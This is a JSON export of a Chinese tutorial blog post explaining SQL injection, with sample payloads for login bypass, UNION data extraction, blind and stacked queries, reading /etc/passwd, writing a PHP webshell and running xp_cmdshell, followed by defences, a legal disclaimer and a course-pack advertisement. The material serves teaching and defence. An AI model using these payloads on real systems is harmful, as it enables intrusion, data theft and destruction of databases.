{"id":64473,"date":"2026-01-23T16:16:25","date_gmt":"2026-01-23T08:16:25","guid":{"rendered":"https:\/\/www.wsisp.com\/helps\/64473.html"},"modified":"2026-01-23T16:16:25","modified_gmt":"2026-01-23T08:16:25","slug":"sql%e6%b3%a8%e5%85%a5%e8%af%a6%e8%a7%a3%ef%bc%8c%e7%9c%8b%e8%bf%99%e7%af%87%e5%b0%b1%e5%a4%9f%e4%ba%86%ef%bc%81","status":"publish","type":"post","link":"https:\/\/www.wsisp.com\/helps\/64473.html","title":{"rendered":"sql\u6ce8\u5165\u8be6\u89e3\uff0c\u770b\u8fd9\u7bc7\u5c31\u591f\u4e86\uff01"},"content":{"rendered":"<h3>SQL\u6ce8\u5165\u8be6\u89e3<\/h3>\n<h4>\u4e00\u3001\u4ec0\u4e48\u662fSQL\u6ce8\u5165&#xff1f;<\/h4>\n<p>SQL\u6ce8\u5165&#xff08;SQL Injection&#xff09;\u662f\u4e00\u79cd\u5c06\u6076\u610fSQL\u4ee3\u7801\u63d2\u5165\u5230\u5e94\u7528\u7a0b\u5e8f\u8f93\u5165\u53c2\u6570\u4e2d\u7684\u653b\u51fb\u6280\u672f&#xff0c;\u653b\u51fb\u6210\u529f\u540e\u53ef\u4ee5\u83b7\u53d6\u3001\u7be1\u6539\u6216\u5220\u9664\u6570\u636e\u5e93\u6570\u636e&#xff0c;\u751a\u81f3\u63a7\u5236\u670d\u52a1\u5668\u3002<\/p>\n<h4>\u4e8c\u3001\u653b\u51fb\u539f\u7406<\/h4>\n<p><span class=\"token comment\">&#8212; \u539f\u59cb\u67e5\u8be2\u8bed\u53e5<\/span><br \/>\n<span class=\"token keyword\">SELECT<\/span> <span class=\"token operator\">*<\/span> <span class=\"token keyword\">FROM<\/span> users <span class=\"token keyword\">WHERE<\/span> username <span class=\"token operator\">&#061;<\/span> <span class=\"token string\">&#039;[\u7528\u6237\u8f93\u5165]&#039;<\/span> <span class=\"token operator\">AND<\/span> password <span class=\"token operator\">&#061;<\/span> <span class=\"token string\">&#039;[\u7528\u6237\u8f93\u5165]&#039;<\/span><\/p>\n<p><span class=\"token comment\">&#8212; \u653b\u51fb\u8005\u8f93\u5165&#xff1a;<\/span><br \/>\n\u7528\u6237\u540d&#xff1a;admin<span class=\"token string\">&#039; &#8212;<br \/>\n\u5bc6\u7801&#xff1a;\u4efb\u610f\u503c<\/p>\n<p>&#8212; \u6700\u7ec8\u6267\u884c\u7684SQL&#xff1a;<br \/>\nSELECT * FROM users WHERE username &#061; &#039;<\/span>admin<span class=\"token string\">&#039; &#8211;&#039;<\/span> <span class=\"token operator\">AND<\/span> password <span class=\"token operator\">&#061;<\/span> <span class=\"token string\">&#039;\u4efb\u610f\u503c&#039;<\/span><br \/>\n<span class=\"token comment\">&#8212; &#039;&#8211;&#039; \u662fSQL\u6ce8\u91ca\u7b26&#xff0c;\u540e\u7eed\u6761\u4ef6\u88ab\u5ffd\u7565<\/span><\/p>\n<h4>\u4e09\u3001\u5e38\u89c1\u653b\u51fb\u7c7b\u578b<\/h4>\n<h5>1. \u57fa\u4e8e\u9519\u8bef\u7684\u6ce8\u5165<\/h5>\n<p><span class=\"token string\">&#039; OR 1&#061;1 &#8212;           &#8212; \u6c38\u771f\u6761\u4ef6<br \/>\n&#039;<\/span> <span class=\"token operator\">OR<\/span> <span class=\"token string\">&#039;1&#039;<\/span><span class=\"token operator\">&#061;<\/span>&#039;<span class=\"token number\">1<\/span><\/p>\n<h5>2. \u8054\u5408\u67e5\u8be2\u6ce8\u5165<\/h5>\n<p><span class=\"token string\">&#039; UNION SELECT username, password FROM users &#8212;<br \/>\n&#039;<\/span> <span class=\"token keyword\">UNION<\/span> <span class=\"token keyword\">SELECT<\/span> <span class=\"token number\">1<\/span><span class=\"token punctuation\">,<\/span>&#064;<span class=\"token variable\">&#064;version<\/span> <span class=\"token comment\">&#8212;     &#8212; \u83b7\u53d6\u6570\u636e\u5e93\u7248\u672c<\/span><\/p>\n<h5>3. \u76f2\u6ce8<\/h5>\n<ul>\n<li>\u5e03\u5c14\u76f2\u6ce8&#xff1a;\u901a\u8fc7\u9875\u9762\u8fd4\u56de\u5224\u65ad\u771f\u5047<\/li>\n<\/ul>\n<p><span class=\"token string\">&#039; AND (SELECT SUBSTRING(password,1,1) FROM users WHERE id&#061;1)&#061;&#039;<\/span>a&#039; <span class=\"token comment\">&#8212;<\/span><\/p>\n<ul>\n<li>\u65f6\u95f4\u76f2\u6ce8&#xff1a;\u901a\u8fc7\u5ef6\u65f6\u5224\u65ad<\/li>\n<\/ul>\n<p><span class=\"token string\">&#039; AND IF(1&#061;1,SLEEP(5),0) &#8212;     &#8212; MySQL<br \/>\n&#039;<\/span><span class=\"token punctuation\">;<\/span> <span class=\"token keyword\">WAITFOR<\/span> DELAY <span class=\"token string\">&#039;0:0:5&#039;<\/span> <span class=\"token comment\">&#8212;     &#8212; SQL Server<\/span><\/p>\n<h5>4. \u5806\u53e0\u67e5\u8be2<\/h5>\n<p><span class=\"token string\">&#039;; DROP TABLE users; &#8212;<br \/>\n&#039;<\/span><span class=\"token punctuation\">;<\/span> <span class=\"token keyword\">UPDATE<\/span> users <span class=\"token keyword\">SET<\/span> password<span class=\"token operator\">&#061;<\/span><span class=\"token string\">&#039;hacked&#039;<\/span> <span class=\"token keyword\">WHERE<\/span> id<span class=\"token operator\">&#061;<\/span><span class=\"token number\">1<\/span><span class=\"token punctuation\">;<\/span> <span class=\"token comment\">&#8212;<\/span><\/p>\n<h4>\u56db\u3001\u5371\u9669\u64cd\u4f5c\u793a\u4f8b<\/h4>\n<h5>1. \u6570\u636e\u6cc4\u9732<\/h5>\n<p>&#039; <span class=\"token keyword\">UNION<\/span> <span class=\"token keyword\">SELECT<\/span> <span class=\"token boolean\">null<\/span><span class=\"token punctuation\">,<\/span>table_name <span class=\"token keyword\">FROM<\/span> information_schema<span class=\"token punctuation\">.<\/span><span class=\"token keyword\">tables<\/span> <span class=\"token comment\">&#8212;<\/span><\/p>\n<p><span class=\"token comment\">&#8212; MySQL\u7cfb\u7edf\u8868&#xff1a;<\/span><br \/>\ninformation_schema<span class=\"token punctuation\">.<\/span><span class=\"token keyword\">tables<\/span>      <span class=\"token comment\">&#8212; \u6240\u6709\u8868\u4fe1\u606f<\/span><br \/>\ninformation_schema<span class=\"token punctuation\">.<\/span><span class=\"token keyword\">columns<\/span>     <span class=\"token comment\">&#8212; \u6240\u6709\u5217\u4fe1\u606f<\/span><br \/>\nmysql<span class=\"token punctuation\">.<\/span><span class=\"token keyword\">user<\/span>                    <span class=\"token comment\">&#8212; \u7528\u6237\u4fe1\u606f&#xff08;MySQL&#xff09;<\/span><\/p>\n<p><span class=\"token comment\">&#8212; SQL Server&#xff1a;<\/span><br \/>\n<span class=\"token keyword\">SELECT<\/span> name <span class=\"token keyword\">FROM<\/span> master<span class=\"token punctuation\">.<\/span><span class=\"token punctuation\">.<\/span>sysdatabases    <span class=\"token comment\">&#8212; \u83b7\u53d6\u6240\u6709\u6570\u636e\u5e93<\/span><\/p>\n<h5>2. \u6587\u4ef6\u64cd\u4f5c<\/h5>\n<p><span class=\"token comment\">&#8212; MySQL\u8bfb\u53d6\u6587\u4ef6&#xff1a;<\/span><br \/>\n<span class=\"token string\">&#039; UNION SELECT LOAD_FILE(&#039;<\/span><span class=\"token operator\">\/<\/span>etc<span class=\"token operator\">\/<\/span>passwd<span class=\"token string\">&#039;) &#8212;<\/p>\n<p>&#8212; MySQL\u5199\u5165\u6587\u4ef6&#xff08;\u5199webshell&#xff09;&#xff1a;<br \/>\nSELECT &#039;<\/span><span class=\"token operator\">&lt;<\/span>?php system<span class=\"token punctuation\">(<\/span>$_GET<span class=\"token punctuation\">[<\/span>cmd<span class=\"token punctuation\">]<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span> ?<span class=\"token operator\">&gt;<\/span><span class=\"token string\">&#039; INTO OUTFILE &#039;<\/span><span class=\"token operator\">\/<\/span>var<span class=\"token operator\">\/<\/span>www<span class=\"token operator\">\/<\/span>shell<span class=\"token punctuation\">.<\/span>php&#039;<\/p>\n<h5>3. \u547d\u4ee4\u6267\u884c<\/h5>\n<p><span class=\"token comment\">&#8212; SQL Server&#xff08;\u9700xp_cmdshell\u542f\u7528&#xff09;&#xff1a;<\/span><br \/>\n<span class=\"token string\">&#039;; EXEC xp_cmdshell &#039;<\/span>net <span class=\"token keyword\">user<\/span>&#039; <span class=\"token comment\">&#8212;<\/span><\/p>\n<h4>\u4e94\u3001\u9632\u5fa1\u63aa\u65bd<\/h4>\n<h5>1. \u53c2\u6570\u5316\u67e5\u8be2&#xff08;\u9884\u7f16\u8bd1\u8bed\u53e5&#xff09;<\/h5>\n<p><span class=\"token comment\"># \u274c \u9519\u8bef&#xff1a;\u5b57\u7b26\u4e32\u62fc\u63a5<\/span><br \/>\nquery <span class=\"token operator\">&#061;<\/span> <span class=\"token string-interpolation\"><span class=\"token string\">f&#034;SELECT * FROM users WHERE username &#061; &#039;<\/span><span class=\"token interpolation\"><span class=\"token punctuation\">{<\/span>username<span class=\"token punctuation\">}<\/span><\/span><span class=\"token string\">&#039;&#034;<\/span><\/span><\/p>\n<p><span class=\"token comment\"># \u2705 \u6b63\u786e&#xff1a;\u53c2\u6570\u5316\u67e5\u8be2<\/span><br \/>\ncursor<span class=\"token punctuation\">.<\/span>execute<span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;SELECT * FROM users WHERE username &#061; %s&#034;<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token punctuation\">(<\/span>username<span class=\"token punctuation\">,<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">)<\/span><\/p>\n<p><span class=\"token comment\">\/\/ Java PreparedStatement<\/span><br \/>\n<span class=\"token class-name\">PreparedStatement<\/span> stmt <span class=\"token operator\">&#061;<\/span> conn<span class=\"token punctuation\">.<\/span><span class=\"token function\">prepareStatement<\/span><span class=\"token punctuation\">(<\/span><br \/>\n    <span class=\"token string\">&#034;SELECT * FROM users WHERE username &#061; ? AND password &#061; ?&#034;<\/span><br \/>\n<span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\nstmt<span class=\"token punctuation\">.<\/span><span class=\"token function\">setString<\/span><span class=\"token punctuation\">(<\/span><span class=\"token number\">1<\/span><span class=\"token punctuation\">,<\/span> username<span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\nstmt<span class=\"token punctuation\">.<\/span><span class=\"token function\">setString<\/span><span class=\"token punctuation\">(<\/span><span class=\"token number\">2<\/span><span class=\"token punctuation\">,<\/span> password<span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><\/p>\n<h5>2. \u8f93\u5165\u9a8c\u8bc1\u4e0e\u8fc7\u6ee4<\/h5>\n<p><span class=\"token comment\">\/\/ \u767d\u540d\u5355\u9a8c\u8bc1<\/span><br \/>\n<span class=\"token keyword\">if<\/span> <span class=\"token punctuation\">(<\/span><span class=\"token operator\">!<\/span><span class=\"token function\">preg_match<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string single-quoted-string\">&#039;\/^[a-zA-Z0-9_]&#043;$\/&#039;<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token variable\">$username<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">)<\/span> <span class=\"token punctuation\">{<\/span><br \/>\n    <span class=\"token keyword\">die<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string single-quoted-string\">&#039;Invalid username&#039;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n<span class=\"token punctuation\">}<\/span><\/p>\n<p><span class=\"token comment\">\/\/ \u8f6c\u4e49\u7279\u6b8a\u5b57\u7b26&#xff08;\u4f5c\u4e3a\u8f85\u52a9\u63aa\u65bd&#xff09;<\/span><br \/>\n<span class=\"token variable\">$username<\/span> <span class=\"token operator\">&#061;<\/span> <span class=\"token function\">mysqli_real_escape_string<\/span><span class=\"token punctuation\">(<\/span><span class=\"token variable\">$conn<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token variable\">$username<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><\/p>\n<h5>3. \u6700\u5c0f\u6743\u9650\u539f\u5219<\/h5>\n<p><span class=\"token comment\">&#8212; \u521b\u5efa\u4e13\u7528\u6570\u636e\u5e93\u7528\u6237<\/span><br \/>\n<span class=\"token keyword\">CREATE<\/span> <span class=\"token keyword\">USER<\/span> <span class=\"token string\">&#039;webapp&#039;<\/span><span class=\"token variable\">&#064;&#039;localhost&#039;<\/span> IDENTIFIED <span class=\"token keyword\">BY<\/span> <span class=\"token string\">&#039;strongpassword&#039;<\/span><span class=\"token punctuation\">;<\/span><br \/>\n<span class=\"token keyword\">GRANT<\/span> <span class=\"token keyword\">SELECT<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token keyword\">INSERT<\/span> <span class=\"token keyword\">ON<\/span> mydb<span class=\"token punctuation\">.<\/span><span class=\"token operator\">*<\/span> <span class=\"token keyword\">TO<\/span> <span class=\"token string\">&#039;webapp&#039;<\/span><span class=\"token variable\">&#064;&#039;localhost&#039;<\/span><span class=\"token punctuation\">;<\/span><br \/>\n<span class=\"token comment\">&#8212; \u4e0d\u8981\u6388\u4e88DROP\u3001DELETE\u3001FILE\u7b49\u6743\u9650<\/span><\/p>\n<h5>4. \u5176\u4ed6\u9632\u5fa1\u63aa\u65bd<\/h5>\n<ul>\n<li>\u4f7f\u7528ORM\u6846\u67b6&#xff08;Hibernate\u3001Entity Framework\u7b49&#xff09;<\/li>\n<li>\u542f\u7528WAF&#xff08;Web\u5e94\u7528\u9632\u706b\u5899&#xff09;<\/li>\n<li>\u9519\u8bef\u4fe1\u606f\u5904\u7406&#xff1a;\u4e0d\u8fd4\u56de\u8be6\u7ec6\u6570\u636e\u5e93\u9519\u8bef\u7ed9\u7528\u6237<\/li>\n<li>\u5b9a\u671f\u5b89\u5168\u626b\u63cf<\/li>\n<\/ul>\n<h4>\u516d\u3001\u68c0\u6d4b\u5de5\u5177<\/h4>\n<li>\n<p>\u81ea\u52a8\u5316\u5de5\u5177&#xff1a;<\/p>\n<ul>\n<li>SQLMap&#xff08;\u6700\u5e38\u7528&#xff09;<\/li>\n<li>Havij<\/li>\n<li>SQLninja<\/li>\n<\/ul>\n<\/li>\n<li>\n<p>\u624b\u52a8\u68c0\u6d4b\u6b65\u9aa4&#xff1a;<\/p>\n<p> 1. \u5bfb\u627e\u8f93\u5165\u70b9&#xff08;\u8868\u5355\u3001URL\u53c2\u6570\u3001Cookie&#xff09;<br \/>\n2. \u6d4b\u8bd5\u7279\u6b8a\u5b57\u7b26&#xff1a;&#039; &#034; ) ; &#8212;<br \/>\n3. \u5c1d\u8bd5\u6c38\u771f\/\u6c38\u5047\u6761\u4ef6<br \/>\n4. \u5224\u65ad\u6ce8\u5165\u7c7b\u578b\u548c\u6570\u636e\u5e93\u7c7b\u578b<br \/>\n5. \u83b7\u53d6\u6570\u636e\u5e93\u4fe1\u606f<br \/>\n6. \u63d0\u53d6\u6570\u636e\n <\/li>\n<h4>\u4e03\u3001\u5b9e\u9645\u6848\u4f8b<\/h4>\n<p>GET \/product?id&#061;1&#039; AND 1&#061;CONVERT(int, &#064;&#064;version)&#8211; HTTP\/1.1<\/p>\n<p>&#8212; \u68c0\u6d4b\u5230SQL Server&#xff0c;\u8fdb\u4e00\u6b65\u83b7\u53d6\u6570\u636e&#xff1a;<br \/>\nGET \/product?id&#061;1&#039; UNION SELECT name, password FROM users&#8211;<\/p>\n<h4>\u516b\u3001\u6cd5\u5f8b\u58f0\u660e<\/h4>\n<p>\u26a0\ufe0f \u91cd\u8981\u63d0\u9192&#xff1a;<\/p>\n<ul>\n<li>SQL\u6ce8\u5165\u6280\u672f\u4ec5\u53ef\u7528\u4e8e\u6388\u6743\u7684\u5b89\u5168\u6d4b\u8bd5<\/li>\n<li>\u672a\u7ecf\u6388\u6743\u653b\u51fb\u4ed6\u4eba\u7cfb\u7edf\u662f\u8fdd\u6cd5\u884c\u4e3a<\/li>\n<li>\u672c\u6587\u5185\u5bb9\u4ec5\u4f9b\u5b66\u4e60\u9632\u5fa1\u4e4b\u7528<\/li>\n<\/ul>\n<h4>\u6700\u4f73\u5b9e\u8df5\u603b\u7ed3<\/h4>\n<li>\u59cb\u7ec8\u4f7f\u7528\u53c2\u6570\u5316\u67e5\u8be2<\/li>\n<li>\u5b9e\u65bd\u6700\u5c0f\u6743\u9650\u539f\u5219<\/li>\n<li>\u5bf9\u6240\u6709\u8f93\u5165\u8fdb\u884c\u4e25\u683c\u9a8c\u8bc1<\/li>\n<li>\u5b9a\u671f\u66f4\u65b0\u548c\u6253\u8865\u4e01<\/li>\n<li>\u8fdb\u884c\u5b89\u5168\u4ee3\u7801\u5ba1\u8ba1<\/li>\n<li>\u4f7f\u7528Web\u5e94\u7528\u9632\u706b\u5899<\/li>\n<p>\u8bb0\u4f4f&#xff1a;\u6ca1\u6709\u5b8c\u5168\u5b89\u5168\u7684\u7cfb\u7edf&#xff0c;\u53ea\u6709\u4e0d\u65ad\u6539\u8fdb\u7684\u5b89\u5168\u5b9e\u8df5\u3002 \u4fdd\u6301\u8b66\u60d5&#xff0c;\u6301\u7eed\u5b66\u4e60\u65b0\u7684\u5b89\u5168\u6280\u672f\u662f\u9632\u5fa1SQL\u6ce8\u5165\u7684\u5173\u952e\u3002<\/p>\n<h4>\u7f51\u7edc\u5b89\u5168\u5b66\u4e60\u8d44\u6e90\u5206\u4eab:<\/h4>\n<p>\u7ed9\u5927\u5bb6\u5206\u4eab\u4e00\u4efd\u5168\u5957\u7684\u7f51\u7edc\u5b89\u5168\u5b66\u4e60\u8d44\u6599&#xff0c;\u7ed9\u90a3\u4e9b\u60f3\u5b66\u4e60 \u7f51\u7edc\u5b89\u5168\u7684\u5c0f\u4f19\u4f34\u4eec\u4e00\u70b9\u5e2e\u52a9&#xff01;<\/p>\n<p>\u5bf9\u4e8e\u4ece\u6765\u6ca1\u6709\u63a5\u89e6\u8fc7\u7f51\u7edc\u5b89\u5168\u7684\u540c\u5b66&#xff0c;\u6211\u4eec\u5e2e\u4f60\u51c6\u5907\u4e86\u8be6\u7ec6\u7684\u5b66\u4e60\u6210\u957f\u8def\u7ebf\u56fe\u3002\u53ef\u4ee5\u8bf4\u662f\u6700\u79d1\u5b66\u6700\u7cfb\u7edf\u7684\u5b66\u4e60\u8def\u7ebf&#xff0c;\u5927\u5bb6\u8ddf\u7740\u8fd9\u4e2a\u5927\u7684\u65b9\u5411\u5b66\u4e60\u51c6\u6ca1\u95ee\u9898\u3002<\/p>\n<h6>&#x1f449;1.\u6210\u957f\u8def\u7ebf\u56fe&amp;\u5b66\u4e60\u89c4\u5212&#x1f448;<\/h6>\n<p>\u8981\u5b66\u4e60\u4e00\u95e8\u65b0\u7684\u6280\u672f&#xff0c;\u4f5c\u4e3a\u65b0\u624b\u4e00\u5b9a\u8981\u5148\u5b66\u4e60\u6210\u957f\u8def\u7ebf\u56fe&#xff0c;\u65b9\u5411\u4e0d\u5bf9&#xff0c;\u52aa\u529b\u767d\u8d39\u3002<\/p>\n<p>\u5bf9\u4e8e\u4ece\u6765\u6ca1\u6709\u63a5\u89e6\u8fc7\u7f51\u7edc\u5b89\u5168\u7684\u540c\u5b66&#xff0c;\u6211\u4eec\u5e2e\u4f60\u51c6\u5907\u4e86\u8be6\u7ec6\u7684\u5b66\u4e60\u6210\u957f\u8def\u7ebf\u56fe&amp;\u5b66\u4e60\u89c4\u5212\u3002\u53ef\u4ee5\u8bf4\u662f\u6700\u79d1\u5b66\u6700\u7cfb\u7edf\u7684\u5b66\u4e60\u8def\u7ebf&#xff0c;\u5927\u5bb6\u8ddf\u7740\u8fd9\u4e2a\u5927\u7684\u65b9\u5411\u5b66\u4e60\u51c6\u6ca1\u95ee\u9898\u3002<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/01\/20260123081623-69732e579e38b.webp\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/> <img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/01\/20260123081623-69732e57a6c11.webp\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<h6>&#x1f449;2.\u7f51\u5b89\u5165\u95e8\u5230\u8fdb\u9636\u89c6\u9891\u6559\u7a0b&#x1f448;<\/h6>\n<p>\u5f88\u591a\u670b\u53cb\u90fd\u4e0d\u559c\u6b22\u6666\u6da9\u7684\u6587\u5b57&#xff0c;\u6211\u4e5f\u4e3a\u5927\u5bb6\u51c6\u5907\u4e86\u89c6\u9891\u6559\u7a0b&#xff0c;\u5176\u4e2d\u4e00\u5171\u670921\u4e2a\u7ae0\u8282&#xff0c;\u6bcf\u4e2a\u7ae0\u8282\u90fd\u662f\u5f53\u524d\u677f\u5757\u7684\u7cbe\u534e\u6d53\u7f29\u3002****&#xff08;\u5168\u5957\u6559\u7a0b\u6587\u672b\u9886\u53d6\u54c8&#xff09; <img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/01\/20260123081623-69732e57ae329.webp\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/01\/20260123081623-69732e57b5918.webp\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<h6>&#x1f449;3.SRC&amp;\u9ed1\u5ba2\u6587\u6863&#x1f448;<\/h6>\n<p>\u5927\u5bb6\u6700\u559c\u6b22\u4e5f\u662f\u6700\u5173\u5fc3\u7684SRC\u6280\u672f\u6587\u7c4d&amp;\u9ed1\u5ba2\u6280\u672f\u4e5f\u6709\u6536\u5f55<\/p>\n<p>SRC\u6280\u672f\u6587\u7c4d&#xff1a;<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/01\/20260123081623-69732e57bd9c2.webp\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<p>\u9ed1\u5ba2\u8d44\u6599\u7531\u4e8e\u662f\u654f\u611f\u8d44\u6e90&#xff0c;\u8fd9\u91cc\u4e0d\u80fd\u76f4\u63a5\u5c55\u793a\u54e6&#xff01;****&#xff08;\u5168\u5957\u6559\u7a0b\u6587\u672b\u9886\u53d6\u54c8&#xff09;<\/p>\n<h6>&#x1f449;4.\u62a4\u7f51\u884c\u52a8\u8d44\u6599&#x1f448;<\/h6>\n<p>\u5176\u4e2d\u5173\u4e8eHW\u62a4\u7f51\u884c\u52a8&#xff0c;\u4e5f\u51c6\u5907\u4e86\u5bf9\u5e94\u7684\u8d44\u6599&#xff0c;\u8fd9\u4e9b\u5185\u5bb9\u53ef\u76f8\u5f53\u4e8e\u6bd4\u8d5b\u7684\u91d1\u624b\u6307&#xff01;<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/01\/20260123081623-69732e57c811b.webp\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<h6>&#x1f449;5.\u9ed1\u5ba2\u5fc5\u8bfb\u4e66\u5355&#x1f448;<\/h6>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/01\/20260123081623-69732e57d1184.webp\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<h6>&#x1f449;6.\u7f51\u7edc\u5b89\u5168\u5c97\u9762\u8bd5\u9898\u5408\u96c6&#x1f448;<\/h6>\n<p>\u5f53\u4f60\u81ea\u5b66\u5230\u8fd9\u91cc&#xff0c;\u4f60\u5c31\u8981\u5f00\u59cb\u601d\u8003\u627e\u5de5\u4f5c\u7684\u4e8b\u60c5\u4e86&#xff0c;\u800c\u5de5\u4f5c\u7ed5\u4e0d\u5f00\u7684\u5c31\u662f\u771f\u9898\u548c\u9762\u8bd5\u9898\u3002 <img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/01\/20260123081623-69732e57d86c9.webp\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/> \u6240\u6709\u8d44\u6599\u5171282G&#xff0c;\u670b\u53cb\u4eec\u5982\u679c\u6709\u9700\u8981\u5168\u5957\u300a\u7f51\u7edc\u5b89\u5168\u5165\u95e8&#043;\u8fdb\u9636\u5b66\u4e60\u8d44\u6e90\u5305\u300b&#xff0c;\u53ef\u4ee5\u626b\u63cf\u4e0b\u65b9\u4e8c\u7ef4\u7801\u6216\u94fe\u63a5\u514d\u8d39\u9886\u53d6~<\/p>\n<p>**\u8bfb\u8005\u798f\u5229 |** CSDN\u5927\u793c\u5305&#xff1a;\u300a\u7f51\u7edc\u5b89\u5168\u5165\u95e8&amp;\u8fdb\u9636\u5b66\u4e60\u8d44\u6e90\u5305\u300b\u514d\u8d39\u5206\u4eab **&#xff08;\u5b89\u5168\u94fe\u63a5&#xff0c;\u653e\u5fc3\u70b9\u51fb&#xff09;**<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/01\/20260123081623-69732e57e042d.jpg\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n","protected":false},"excerpt":{"rendered":"<p>SQL\u6ce8\u5165\u8be6\u89e3<br \/>\n\u4e00\u3001\u4ec0\u4e48\u662fSQL\u6ce8\u5165&#xff1f;<br \/>\nSQL\u6ce8\u5165&#xff08;SQL Injection&#xff09;\u662f\u4e00\u79cd\u5c06\u6076\u610fSQL\u4ee3\u7801\u63d2\u5165\u5230\u5e94\u7528\u7a0b\u5e8f\u8f93\u5165\u53c2\u6570\u4e2d\u7684\u653b\u51fb\u6280\u672f&#xff0c;\u653b\u51fb\u6210\u529f\u540e\u53ef\u4ee5\u83b7\u53d6\u3001\u7be1\u6539\u6216\u5220\u9664\u6570\u636e\u5e93\u6570\u636e&#xff0c;\u751a\u81f3\u63a7\u5236\u670d\u52a1\u5668\u3002<br \/>\n\u4e8c\u3001\u653b\u51fb\u539f\u7406<br \/>\n&#8212; \u539f\u59cb\u67e5\u8be2\u8bed\u53e5<br \/>\nSELECT * FROM users WHERE username  [\u7528\u6237\u8f93\u5165] AND password  [\u7528\u6237\u8f93\u5165]&#8211; \u653b\u51fb\u8005\u8f93\u5165&#xff1a;<br \/>\n\u7528\u6237\u540d&amp;#<\/p>\n","protected":false},"author":2,"featured_media":64472,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[768,4761,275,100,122],"topic":[],"class_list":{"0":"post-64473","1":"post","2":"type-post","3":"status-publish","4":"format-standard","5":"has-post-thumbnail","6":"hentry","7":"category-server","8":"tag-sql","10":"tag-web","11":"tag-100","12":"tag-122"},"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v20.3 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>sql\u6ce8\u5165\u8be6\u89e3\uff0c\u770b\u8fd9\u7bc7\u5c31\u591f\u4e86\uff01 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.wsisp.com\/helps\/64473.html\" \/>\n<meta property=\"og:locale\" content=\"zh_CN\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"sql\u6ce8\u5165\u8be6\u89e3\uff0c\u770b\u8fd9\u7bc7\u5c31\u591f\u4e86\uff01 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"og:description\" content=\"SQL\u6ce8\u5165\u8be6\u89e3 \u4e00\u3001\u4ec0\u4e48\u662fSQL\u6ce8\u5165&#xff1f; SQL\u6ce8\u5165&#xff08;SQL Injection&#xff09;\u662f\u4e00\u79cd\u5c06\u6076\u610fSQL\u4ee3\u7801\u63d2\u5165\u5230\u5e94\u7528\u7a0b\u5e8f\u8f93\u5165\u53c2\u6570\u4e2d\u7684\u653b\u51fb\u6280\u672f&#xff0c;\u653b\u51fb\u6210\u529f\u540e\u53ef\u4ee5\u83b7\u53d6\u3001\u7be1\u6539\u6216\u5220\u9664\u6570\u636e\u5e93\u6570\u636e&#xff0c;\u751a\u81f3\u63a7\u5236\u670d\u52a1\u5668\u3002 \u4e8c\u3001\u653b\u51fb\u539f\u7406 -- \u539f\u59cb\u67e5\u8be2\u8bed\u53e5 SELECT * FROM users WHERE username [\u7528\u6237\u8f93\u5165] AND password [\u7528\u6237\u8f93\u5165]-- \u653b\u51fb\u8005\u8f93\u5165&#xff1a; \u7528\u6237\u540d&amp;#\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.wsisp.com\/helps\/64473.html\" \/>\n<meta property=\"og:site_name\" content=\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"article:published_time\" 